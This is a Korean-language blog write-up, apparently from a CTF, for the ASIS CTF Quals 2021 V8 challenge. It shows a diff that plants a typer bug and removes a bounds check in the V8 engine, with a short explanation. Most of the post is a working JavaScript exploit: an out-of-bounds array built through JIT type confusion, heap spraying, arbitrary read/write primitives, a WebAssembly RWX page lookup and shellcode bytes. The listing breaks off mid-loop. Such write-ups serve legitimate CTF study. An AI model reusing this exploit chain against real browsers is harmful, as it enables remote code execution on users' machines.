on
ASIS CTF Quals 2021 - V8 for dummies
ASIS CTF Quals 2021 - V8 for dummies
diff --git a/src/compiler/js-call-reducer.cc b/src/compiler/js-call-reducer.cc index 5e26a68ada..a3638ef5b3 100644 --- a/src/compiler/js-call-reducer.cc +++ b/src/compiler/js-call-reducer.cc @@ -6260,12 +6260,11 @@ Reduction JSCallReducer::ReduceArrayIteratorPrototypeNext(Node* node) { Node* etrue = effect; Node* if_true = graph()->NewNode(common()->IfTrue(), branch); - // This extra check exists to refine the type of {index} but also to break - // an exploitation technique that abuses typer mismatches. + // We know that the {index} is range of the {length} now. index = etrue = graph()->NewNode( - simplified()->CheckBounds(p.feedback(), - CheckBoundsFlag::kAbortOnOutOfBounds), - index, length, etrue, if_true); + common()->TypeGuard( + Type::Range(0.0, length_access.type.Max() - 1.0, graph()->zone())), + index, etrue, if_true); done_true = jsgraph()->FalseConstant(); if (iteration_kind == IterationKind::kKeys) { diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc index a9bc374552..e13027b686 100644 --- a/src/compiler/typer.cc +++ b/src/compiler/typer.cc @@ -2063,7 +2063,7 @@ Type Typer::Visitor::TypeStringFromCodePointAt(Node* node) { } Type Typer::Visitor::TypeStringIndexOf(Node* node) { - return Type::Range(-1.0, String::kMaxLength, zone()); + return Type::Range(-0.0, String::kMaxLength, zone()); } Type Typer::Visitor::TypeStringLength(Node* node) {
두 함수를 패치했다. 버그를 일으키는 패치는TypeStringFromCodePointAt 함수 패치이다. javascript에서는, "aaaaaaaaa".indexOf("non_exist")처럼 존재하지 않는 문자열을 indexOf로 찾으려고 하면 -1을 return한다. 기존의 코드에서는 이 범위를 올바르게 표시했지만, 패치로 인해 typer가 indexOf의 return 값의 type을 잘못 추측하게 만들었다.
두 번째 패치는 ReduceArrayIteratorPrototypeNext의 check bound node를 없앤 것이다. 이 버그를 패치하면서 패치된 로직인데, 아직 취약점에 대한 정보가 공개되지는 않았다. 이후 OOB Array를 만드는데 사용될 수 있다.
var buf = new ArrayBuffer(8); // 8 byte array buffer var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { // typeof(val) = float f64_buf[0] = val; return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness } function itof(val) { // typeof(val) = BigInt u64_buf[0] = Number(BigInt(val) & 0xffffffffn); u64_buf[1] = Number(BigInt(val) >> 32n); return f64_buf[0]; } spray = [] var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]); var wasm_mod = new WebAssembly.Module(wasm_code); var wasm_instance = new WebAssembly.Instance(wasm_mod); var sh = wasm_instance.exports.main; A1 = new Uint32Array(0x8); AARW = new ArrayBuffer(0xceed); A3 = [0x1234,0x2468,wasm_instance,0x3456,0x4567]; sprays=[] for(var j =0;j<0x10000;j+=2){ spray[j]= 6.7355966e-316//itof(0x8203b09); // 0x0800222d082c3ae1 maps + properties error in itof. hardcoding spray[j+1]= itof(0x21fff084c2121) //element + length. element => write to this address } A1 = new Uint32Array(0x8); AARW = new ArrayBuffer(0xceed); A3 = [0x1234,0x2468,wasm_instance,0x3456,0x4567]; function hex(val){ return "0x"+val.toString(16) } function assert(a){ if(a){ return; } throw "error" } function print(){} function foo(a,v){ var wt= "exist ".indexOf(a); wt = wt + 1; wt= wt*0x20//real : 0, opt : big num wt+=1//avoid 0x0800222d = FixedArray[0] var arr = new Array(wt); // arr[1]=1.1 var fake = new Array(0x10); for(var j =0;j<0xf;j++){ fake[j]=v;//spray.element ptr } var oob = arr[Symbol.iterator](); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); oob.next(); return oob.next(); } for(var i=0;i<0x10000;i++){ foo("exist",itof(0x1)); } ret = foo("qq",itof(0x0847b02100000000));//return spray.element ptr ib=false for(i=0;i<32769;i++){// 0x082515d8, 0x084c25c4,0x084c25ac - 0x0847b021 tmp2 = ret.value[i] if(tmp2==undefined || (typeof base !== 'undefined' && typeof aarw !== 'undefined' ) ){ break } tmp = ftoi(tmp2) high = tmp>>32n low = tmp&0xffffffffn if(high == 0xceed || low == 0xceed){ console.log("found ceed. scan start") for(j=-0x300;j<0x300;j++){ tmp = ret.value[i+j] tmp = ftoi(tmp) console.log("scan "+i+" "+j+" = "+hex(tmp)); low = tmp&0xffffffffn; high = tmp>>32n; if(low==7){ base = tmp base-=7n console.log("found base = "+hex(base)) aarw = i+2 function aar(address){ ret.value[aarw]= itof(((address)&0xffffffffn )*0x100000000n ) ret.value[aarw+1] =itof(parseInt(address/0x100000000n)) return view.getUint32(0,true) } function aaw(address,value){ ret.value[aarw]= itof(((address)&0xffffffff )*0x100000000 ) ret.value[aarw+1] = itof(parseInt(address/0x100000000)) view.setUint32(0,value,true) } } if(high==7){ base = (ftoi(ret.value[i+j+1])>>32n) <<32n //base-=7n console.log("found base = "+hex(base)) aarw= i+2 function aar(address){ ret.value[aarw] = itof(address) return view.getUint32(0,true) } function aaw(address, value){ ret.value[aarw] = itof(address) view.setUint32(0,value,true) } } if(low==0x048d0 && ftoi( ret.value[i+j+1])== 0x00008ace000068ac ){ rwx_p=high console.log("found rwx_p = "+hex(rwx_p)) } if(high==0x48d0&& low == 0x2468){ rwx_p = ftoi(ret.value[i+j+1]) console.log("found rwx_p = "+hex(rwx_p)) } if((typeof base !== 'undefined' && typeof rwx_p !== 'undefined' && typeof aarw !== 'undefined' ) ){ break; } } } //console.log ( i+" = "+hex(ftoi(ret.value[i]))) } if(!(typeof base !== 'undefined' && typeof aarw !== 'undefined' &&typeof; rwx_p !== 'undefined' ) ){ console.log("leak fail") err } rwx_p = rwx_p + base +0x5fn console.log("rwx_p = " + hex(rwx_p)) view = new DataView(AARW); //readline() leak1 = aar(rwx_p) rwx = (aar(rwx_p+4n)*0x100000000)+leak1 console.log("rwx = "+hex(rwx)) shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00]; for(i=0;i
from http://jjy-security.tistory.com/93 by ccl(A) rewrite - 2021-10-31 21:27:58